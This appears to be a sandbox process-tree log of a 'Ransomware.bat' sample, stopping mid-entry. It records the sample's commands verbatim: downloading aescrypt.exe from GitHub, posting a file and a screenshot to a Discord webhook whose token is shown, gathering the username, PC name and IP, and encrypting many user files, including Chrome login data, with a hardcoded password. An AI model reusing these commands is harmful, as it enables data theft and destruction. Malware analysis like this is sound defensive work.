    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.26.801990776\627392816" -childID 23 -isForBrowser -prefsHandle 7604 -prefMapHandle 6536 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f9be34c-78eb-41bb-877e-cbf1688832e8} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 6196 124da4a2e58 tab
    3⤵
    PID:6800
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.27.1740870575\340655961" -childID 24 -isForBrowser -prefsHandle 10132 -prefMapHandle 10136 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5b307514-c83a-4c55-bd07-f4e007d817d8} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 10124 124db1d9358 tab
    3⤵
    PID:6808
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.28.288075533\599557497" -childID 25 -isForBrowser -prefsHandle 10548 -prefMapHandle 10544 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {94c52842-0eb1-4464-838e-4ee8d31aeea6} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 10504 124db823258 tab
    3⤵
    PID:7760
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.29.2047467573\1973013894" -childID 26 -isForBrowser -prefsHandle 10672 -prefMapHandle 10676 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d4f67c90-a02a-4b3e-9efb-71e9af6e5ec8} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 10488 124db826e58 tab
    3⤵
    PID:7772
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.30.38769205\532776059" -childID 27 -isForBrowser -prefsHandle 10796 -prefMapHandle 10800 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e83fdf3a-2a02-42e0-a5a2-bc65b28a2fa5} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 6956 124db8e6858 tab
    3⤵
    PID:7784
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.31.1199185929\1454001697" -childID 28 -isForBrowser -prefsHandle 10740 -prefMapHandle 10744 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1feaa718-084f-4b9f-8ed2-29b7da5ac59f} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 6156 124db824158 tab
    3⤵
    PID:7804
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.32.877182857\1044487263" -childID 29 -isForBrowser -prefsHandle 10860 -prefMapHandle 10864 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3019a346-8cbd-4c52-a39e-a0fb30c6b810} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 10532 124db5e7c58 tab
    3⤵
    PID:7868
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.33.435780052\294242035" -childID 30 -isForBrowser -prefsHandle 10740 -prefMapHandle 10744 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8b7f7ae-080b-4cbe-a783-518a3829a428} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 4848 124db8d8658 tab
    3⤵
    PID:8136
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.34.1192685270\1572766908" -childID 31 -isForBrowser -prefsHandle 4852 -prefMapHandle 4864 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e7273078-c242-48d3-9845-2715d0fb9237} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 11348 124db8d6558 tab
    3⤵
    PID:7956
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2084.35.453161350\2003540921" -childID 32 -isForBrowser -prefsHandle 11164 -prefMapHandle 11168 -prefsLen 26765 -prefMapSize 233444 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b487eaff-5cb8-4f5b-b873-11f0bd67400e} 2084 "\\.\pipe\gecko-crash-server-pipe.2084" 11336 124db8d7158 tab
    3⤵
    PID:8168

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:8388

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Ransomware.bat" "
1⤵
PID:9196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& {Invoke-WebRequest -Uri 'https://github.com/VisoXC/MisterBombastic/raw/main/don/aescrypt.exe' -OutFile 'C:\Users\Admin\Desktop\\aescrypt.exe'}"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6724
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:8040
- C:\Windows\system32\curl.exe
  curl -s "https://pastebin.com/raw/KsQgwJcq"
  2⤵
  PID:8504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\AppData\Local\Temp\html-output-temp.dat" | findstr /C:"https://discord.com/api/webhooks/"
  2⤵
  PID:8640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\html-output-temp.dat" "
    3⤵
    PID:8628
- - C:\Windows\system32\findstr.exe
    findstr /C:"https://discord.com/api/webhooks/"
    3⤵
    PID:8620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Invoke-WebRequest -Uri 'https://discord.com/api/webhooks/1222467468484673577/hYaXoc6q_Bi2YN4TWh7bSdKv_mUh3rJtPp61X1Snv7S9r4OaVgEc_4LVqVkdvT8WR_9_' -Method POST -Body @{content = (Get-Content 'C:\Users\Admin\AppData\Roaming\Adobe\CRLogs\crashlogs\log-latest.dat' -Raw)})"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:8576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('^{PRTSC}'); Start-Sleep -Milliseconds 500; $img = [System.Windows.Forms.Clipboard]::GetImage(); $img.Save('C:\Users\Admin\AppData\Local\Programs\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png);}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:8740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c whoami
  2⤵
  PID:8872
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic computersystem get name /value
  2⤵
  PID:3280
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get name /value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
  2⤵
  PID:8132
- - C:\Windows\system32\curl.exe
    curl -s https://api.ipify.org
    3⤵
    PID:8036
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:7940
- C:\Windows\system32\curl.exe
  curl -X POST -H "Content-Type: multipart/form-data" -F "content=`IP: 191.101.209.39` `Date: 2024-Sat 04-06` `Time: 1:38:01.77` `Username: Admin` `PC-Name: JKRSODLE`" -F "file=@C:\Users\Admin\AppData\Local\Programs\screenshot.png" "https://discord.com/api/webhooks/1222467468484673577/hYaXoc6q_Bi2YN4TWh7bSdKv_mUh3rJtPp61X1Snv7S9r4OaVgEc_4LVqVkdvT8WR_9_"
  2⤵
  PID:1052
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "wallpaper32.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "wallpaper3232.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:444
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "wallpaper3264.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:712
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "wallpaper64.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:7496
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "wallpaper6432.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:8212
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "wallpaper6464.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:8008
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "Lively.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:8912
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "Lively32.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:7956
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "Lively64.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "Wallpaper.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:8948
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "Wallpaper32.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:6332
- C:\Windows\system32\taskkill.exe
  taskkill /f /im "Wallpaper64.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:6376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://i.imgur.com/3rXsvma.png', 'C:\Users\Admin\AppData\Roaming\temp.png')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& {Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'Wallpaper' -Value 'C:\Users\Admin\AppData\Roaming\temp.png'; rundll32.exe user32.dll, UpdatePerUserSystemParameters}"
  2⤵
  - Sets desktop wallpaper using registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6068
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters
    3⤵
    PID:7432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst"
  2⤵
  - Executes dropped EXE
  PID:7664
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst"
  2⤵
  - Executes dropped EXE
  PID:6656
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat"
  2⤵
  - Executes dropped EXE
  PID:5988
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents"
  2⤵
  - Executes dropped EXE
  PID:6152
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\UserCache.bin"
  2⤵
  - Executes dropped EXE
  PID:6148
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt19.lst"
  2⤵
  - Executes dropped EXE
  PID:6456
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Color\ACECache11.lst"
  2⤵
  - Executes dropped EXE
  PID:7936
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\wscRGB.icc"
  2⤵
  - Executes dropped EXE
  PID:8160
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\wsRGB.icc"
  2⤵
  - Executes dropped EXE
  PID:7332
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\Unistore\data\AggregateCache.uca"
  2⤵
  - Executes dropped EXE
  PID:7364
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm"
  2⤵
  - Executes dropped EXE
  PID:7780
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.vol"
  2⤵
  - Executes dropped EXE
  PID:7816
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USS.jcp"
  2⤵
  - Executes dropped EXE
  PID:7948
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USS.jtx"
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USSres00001.jrs"
  2⤵
  - Executes dropped EXE
  PID:7404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USSres00002.jrs"
  2⤵
  - Executes dropped EXE
  PID:4024
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USStmp.jtx"
  2⤵
  - Executes dropped EXE
  PID:2488
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp"
  2⤵
  - Executes dropped EXE
  PID:7868
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst"
  2⤵
  - Executes dropped EXE
  PID:7036
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin.cdp"
  2⤵
  - Executes dropped EXE
  PID:6576
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin.cdpresource"
  2⤵
  - Executes dropped EXE
  PID:6616
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db"
  2⤵
  - Executes dropped EXE
  PID:7608
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm"
  2⤵
  - Executes dropped EXE
  PID:7640
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-wal"
  2⤵
  - Executes dropped EXE
  PID:7764
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt"
  2⤵
  - Executes dropped EXE
  PID:8064
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma"
  2⤵
  - Executes dropped EXE
  PID:7284
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\First Run"
  2⤵
  - Executes dropped EXE
  PID:7504
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser"
  2⤵
  - Executes dropped EXE
  PID:7524
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version"
  2⤵
  - Executes dropped EXE
  PID:7020
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State"
  2⤵
  - Executes dropped EXE
  PID:6288
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json"
  2⤵
  - Executes dropped EXE
  PID:6336
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations"
  2⤵
  - Executes dropped EXE
  PID:6420
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-65DCB572-408.pma"
  2⤵
  - Executes dropped EXE
  PID:7672
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\metadata"
  2⤵
  - Executes dropped EXE
  PID:7792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat"
  2⤵
  - Executes dropped EXE
  PID:9000
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database"
  2⤵
  - Executes dropped EXE
  PID:6168
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database-journal"
  2⤵
  - Executes dropped EXE
  PID:6184
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons"
  2⤵
  - Executes dropped EXE
  PID:6228
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal"
  2⤵
  - Executes dropped EXE
  PID:6312
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico"
  2⤵
  - Executes dropped EXE
  PID:5524
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db"
  2⤵
  - Executes dropped EXE
  PID:5600
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal"
  2⤵
  - Executes dropped EXE
  PID:5684
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History"
  2⤵
  - Executes dropped EXE
  PID:5792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History-journal"
  2⤵
  - Executes dropped EXE
  PID:6140
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\LOCK"
  2⤵
  - Executes dropped EXE
  PID:5920
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\LOG"
  2⤵
  - Executes dropped EXE
  PID:5496
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\LOG.old"
  2⤵
  - Executes dropped EXE
  PID:5508
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  2⤵
  - Executes dropped EXE
  PID:5640
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account"
  2⤵
  - Executes dropped EXE
  PID:5512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal"
  2⤵
  - Executes dropped EXE
  PID:6360
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal"
  2⤵
  - Executes dropped EXE
  PID:6404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor"
  2⤵
  - Executes dropped EXE
  PID:6532
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor-journal"
  2⤵
  - Executes dropped EXE
  PID:6556
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences"
  2⤵
  - Executes dropped EXE
  PID:6856
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferredApps"
  2⤵
  - Executes dropped EXE
  PID:5532
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences"
  2⤵
  - Executes dropped EXE
  PID:5616
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shortcuts"
  2⤵
  - Executes dropped EXE
  PID:5772
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shortcuts-journal"
  2⤵
  - Executes dropped EXE
  PID:5796
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Top Sites"
  2⤵
  - Executes dropped EXE
  PID:6036
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Top Sites-journal"
  2⤵
  - Executes dropped EXE
  PID:6268
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Trusted Vault"
  2⤵
  - Executes dropped EXE
  PID:9020
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Visited Links"
  2⤵
  - Executes dropped EXE
  PID:9024
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data"
  2⤵
  - Executes dropped EXE
  PID:1056
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal"
  2⤵
  - Executes dropped EXE
  PID:1020
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOCK"
  2⤵
  PID:432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG"
  2⤵
  PID:4416
- C:\Users\Admin\Desktop\aescrypt.exe
